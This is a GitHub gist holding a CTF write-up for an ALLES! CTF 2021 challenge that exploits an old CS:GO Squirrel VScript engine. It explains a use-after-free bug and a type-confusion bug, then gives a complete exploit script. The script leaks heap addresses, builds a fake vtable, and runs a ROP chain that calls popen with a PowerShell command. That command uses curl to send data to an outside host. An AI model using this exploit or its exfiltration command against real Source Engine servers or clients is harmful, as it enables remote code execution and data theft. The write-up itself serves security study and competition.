Skip to content

Instantly share code, notes, and snippets.

@kungfulon
Created September 6, 2021 07:30
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kungfulon/c50323cf6ae54104e3c65b2b30804cc1 to your computer and use it in GitHub Desktop.
Save kungfulon/c50323cf6ae54104e3c65b2b30804cc1 to your computer and use it in GitHub Desktop.
ALLES! CTF 2021 - 🔥 Counter Strike: Squirrel Offensive

🔥 Counter Strike: Squirrel Offensive

This challenge involves an old version of CS:GO VScript, which is vulnerable to a UAF bug and a type confusion bug.

UAF by resizing array in sort compare function

The sort function of squirrel array is array_sort in sqbaselib.cpp, which will call _qsort:

// v: VM, o: array object, func: compare func
_qsort(v, o, 0, _array(o)->Size()-1, func);

The r index passed into _qsort is fixed at the beginning, so by abusing array.resize in compare function, we can retrieve dangling reference to freed objects through compare function parameters.

By freeing a string then overlap it with an array, the _len field of the freed SQString object will be overwritten by the _sharedstate field of the newly created SQArray. It's a pointer so the value will be very large, and we can use the dangling string to do arbitrary reading over a large heap space after it.

Type confusion in regexp functions

_regexp_* functions in sqstdstring.cpp retrieve SQRex object from the current object using SETUP_REX macro:

#define SETUP_REX(v) \
    SQRex *self = NULL; \
    sq_getinstanceup(v,1,(SQUserPointer *)&self,0); 

The typetag parameter is 0, means that it will not check for type mismatch. So we can call _regexp_* functions using any instance object (examples: self-defined classes, external library classes like CS:GO script classes).

Addresses leaking

As we have a long string by using UAF bug above, we can just spray a lot of CScriptKeyValues and find one of them using last 2 bytes of SQInstance::vtable as they will not be affected by Windows ASLR, then use confusion to watch for changes to _userpointer field. But there are other instance objects too, and we have no way to be sure that it's a CScriptKeyValues object.

Fortunately, the tostring method will return the type name and the address in memory of any object. For number and string it will just return the value. But we overlapped the freed string with an array, so we can get address of it by calling tostring on the array. We can keep allocate new CScriptKeyValues object until we get one that lies after our long string and in the range that we can read its data. I won't go into detail of Source Engine heap in this writeup, but most of the time we will get a satisfied object without triggering Squirrel timeout watchdog.

By reading the CScriptKeyValues object, we can get these values:

  • Pointer to SQInstance::vtable, which can be used to calculate vscript.dll base address for ROP gadgets
  • Pointer to _userpointer of that object

Path of exploitation

My approach is to use a CS:GO script class, CScriptKeyValues. Squirrel will panic if you attempt to modify the prototype after 1 instance of a class has been created. Since in map loading, there're no instance of this class would be created, we can modify its prototype:

CScriptKeyValues.confuse <- regexp.constructor;
CScriptKeyValues.confuse2 <- regexp.search;

When we call any method of a CS:GO script class, CSquirrelVM::TranslateCall in vsquirrel.cpp will be called. It will access _userpointer field of the object to get binding information:

pContext = (InstanceContext_t *)sa.GetInstanceUp(1,0); // _userpointer

if ( !pContext )
{
    sq_throwerror( hVM, "Accessed null instance" );
    return SQ_ERROR;
}

pObject = pContext->pInstance;

if ( !pObject )
{
    sq_throwerror( hVM, "Accessed null instance" );
    return SQ_ERROR;
}

if ( pContext->pClassDesc->pHelper )
{
    pObject = pContext->pClassDesc->pHelper->GetProxied( pObject );
}

_regexp_constructor will create a new SQRex class and store it in _userpointer field. That means we can control pContext. Below is InstanceContext_t struct:

struct InstanceContext_t
{
    void *pInstance;
    ScriptClassDesc_t *pClassDesc;
    SQObjectPtr name;
};

Below is SQRex struct:

struct SQRex{
    const SQChar *_eol;
    const SQChar *_bol;
    const SQChar *_p;
    SQInteger _first;
    SQInteger _op;
    SQRexNode *_nodes;
    SQInteger _nallocated;
    SQInteger _nsize;
    SQInteger _nsubexpr;
    SQRexMatch *_matches;
    SQInteger _currsubexp;
    void *_jmpbuf;
    const SQChar **_error;
};

pClassDesc field overlaps with _bol field. When we call _regexp_search(str), _bol field will be set to the beginning of str. So we can craft a fake ScriptClassDesc_t object using a string. Below is ScriptClassDesc_t struct:

struct ScriptClassDesc_t
{
    const char *                        m_pszScriptName;
    const char *                        m_pszClassname;
    const char *                        m_pszDescription;
    ScriptClassDesc_t *                    m_pBaseDesc;
    CUtlVector<ScriptFunctionBinding_t> m_FunctionBindings;

    void *(*m_pfnConstruct)();
    void (*m_pfnDestruct)( void *);
    IScriptInstanceHelper *                pHelper; // offset 0x2C

    ScriptClassDesc_t *                    m_pNextDesc;
};

Below is IScriptInstanceHelper interface:

class IScriptInstanceHelper
{
public:
    virtual void *GetProxied( void *p );
    virtual bool ToString( void *p, char *pBuf, int bufSize );
    virtual void *BindOnRead( HSCRIPT hInstance, void *pOld, const char *pszId );
};

We can craft a fake IScriptInstanceHelper object to control the virtual method table.

Fortunately, Squirrel string is not null-terminated, so we don't have to worry about null bytes.

In conclusion, the fake object will look like this:

Offset Content
0x0 pivot gadget
... padding
0x2C _userpointer + 0x4 (_bol)

Conclusion

Thanks ALLES! team for organizing a great CTF with awesome challenges, and allowed late submission of 🔥 challenges.

Source Engine is a mature engine with a lot of functions, and use a lot of unsafe memory code. With the fact that any people can host dedicated servers, it's a huge attack surface. It's sad that Valve never bothers fixing security bugs in the engine quickly. I really hoped that they will pick up the pace after secret club's callout, but seems like they will never do that.

function pwn(a, b) {
if (::y == 0) {
// Remove the string from the array, it will be freed
::x.resize(1);
}
if (::y == 1) {
// After resizing, the internal sort logic still compare both elements,
// so we get a dangling reference here.
// Also this newly created array will overlap with the freed string.
::uaf <- [a, b, null, b, a];
}
::y = ::y + 1;
return 0;
}
function UaFObject() {
// Squirrel compiler will create string literals,
// so use slice to create a new object
::x <- [null, "ABCDE".slice(0, 4)];
::y <- 0;
::x.sort(pwn);
}
function hex2int(hex) {
local val = 0;
for (local i = 0; i < hex.len(); i += 1) {
local x = 0;
if ('A' <= hex[i] && hex[i] <= 'F') x = hex[i] - 'A' + 10;
else x = hex[i] - '0';
val = (val << 4) | (x & 0xF);
}
return val;
}
function strToAddr(str, start) {
local addr = 0;
for(local i=0; i<4; i+=1) {
addr = addr | ((str[start + i] & 0xFF) << (8 * i));
}
return addr;
}
function addrToStr(addr) {
local buf = [0, 0, 0, 0];
for(local i=0; i<4; i+=1) {
buf[i] = (addr >> (8*i)) & 0xFF;
}
return format("%c%c%c%c", buf[0], buf[1], buf[2], buf[3]);
}
UaFObject();
::uafAddr <- hex2int(::uaf.tostring().slice(11, 19));
print(format("UAF: 0x%08X\n", ::uafAddr));
// Modify the prototype of CScriptKeyValues
CScriptKeyValues.confuse <- regexp.constructor;
CScriptKeyValues.confuse2 <- regexp.search;
// Get a CScriptKeyValues object after our UAF string
while (true) {
::fucker <- Entities.First().GetModelKeyValues();
::fuckerAddr <- hex2int(::fucker.tostring().slice(14, 22));
if (::fuckerAddr > ::uafAddr) break;
}
// Call _regexp_constructor to replace _userpointer
print(format("fucker: 0x%08X\n", ::fuckerAddr));
::fucker.confuse("aaaaaaaa");
local str = ::uaf[0];
local strHeaderSize = 0x1C;
local offsetToFucker = ::fuckerAddr - ::uafAddr - strHeaderSize;
local userPointerOffset = 0x20;
local sqInstanceVtblOffset = 0x936C4;
local vscriptDLL = strToAddr(str, offsetToFucker) - sqInstanceVtblOffset;
local userPointer = strToAddr(str, offsetToFucker + userPointerOffset);
print("vscript.dll: " + format("0x%x", vscriptDLL) + "\n");
print("userpointer: " + format("0x%x", userPointer) + "\n");
local pivot = 0x21a96; // mov eax, dword ptr [ecx]; call dword ptr [eax + 0x4];
local magic = 0x7ac55; // add al, 0xf; xchg eax, esp; ret;
local pivot2 = 0x3910d; // ret 0x25;
local ret = 0x100b; // ret;
local GetProcAddress = 0x89074;
local jmpEAX = 0x5AA3F;
local jmpESP = 0x2D5D;
local popECX = 0x100a; // pop ecx; ret;
local movEAXdwECX = 0x6419c; // mov eax, dword ptr [ecx]; ret;
local kernel32DLLStr = 0xACAD6;
local popen = 0x6120C;
local addESP8 = 0xc430;
function strcpy(vscriptDLL, dst, src) {
local popEDX = 0x3953; // pop edx; ret;
local popEAX = 0x73f05; // pop eax; ret;
local movdwEDXEAX = 0x6d5f; // mov dword ptr [edx], eax; ret;
local chain = "";
do {
src += "\x0000";
} while (src.len() % 4 != 0);
for (local i = 0; i < src.len(); i += 4) {
chain = chain + addrToStr(vscriptDLL + popEDX) + addrToStr(dst + i) + addrToStr(vscriptDLL + popEAX) + src.slice(i, i + 4) + addrToStr(vscriptDLL + movdwEDXEAX);
}
return chain;
}
local cmd = "powershell -exec bypass -c \"C:\\curl.exe -X FLAG --data 'is for me?' 'http://flaghoster:31337' | curl -Method POST -Uri 'http://ip:port'\"";
local wb = "wb";
local rop = strcpy(vscriptDLL, vscriptDLL + 0xB0000, cmd) + strcpy(vscriptDLL, vscriptDLL + 0xB0200, wb) +
addrToStr(vscriptDLL + popen) +
addrToStr(vscriptDLL + addESP8) +
addrToStr(vscriptDLL + 0xB0000) +
addrToStr(vscriptDLL + 0xB0200);
// Call _regexp_search to inject the fake object
local fakeVtable = addrToStr(vscriptDLL + pivot) + addrToStr(vscriptDLL + magic) + "caaadaa" + addrToStr(vscriptDLL + pivot2) + addrToStr(vscriptDLL + ret) + "agaaahaaaiaaajaaakaaa" + addrToStr(userPointer + 0x4) + "maaanaaaoaaa" + rop;
::fucker.confuse2(fakeVtable);
// Call CSquirrelVM::TranslateCall to trigger the chain
::fucker.IsKeyEmpty("abc");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment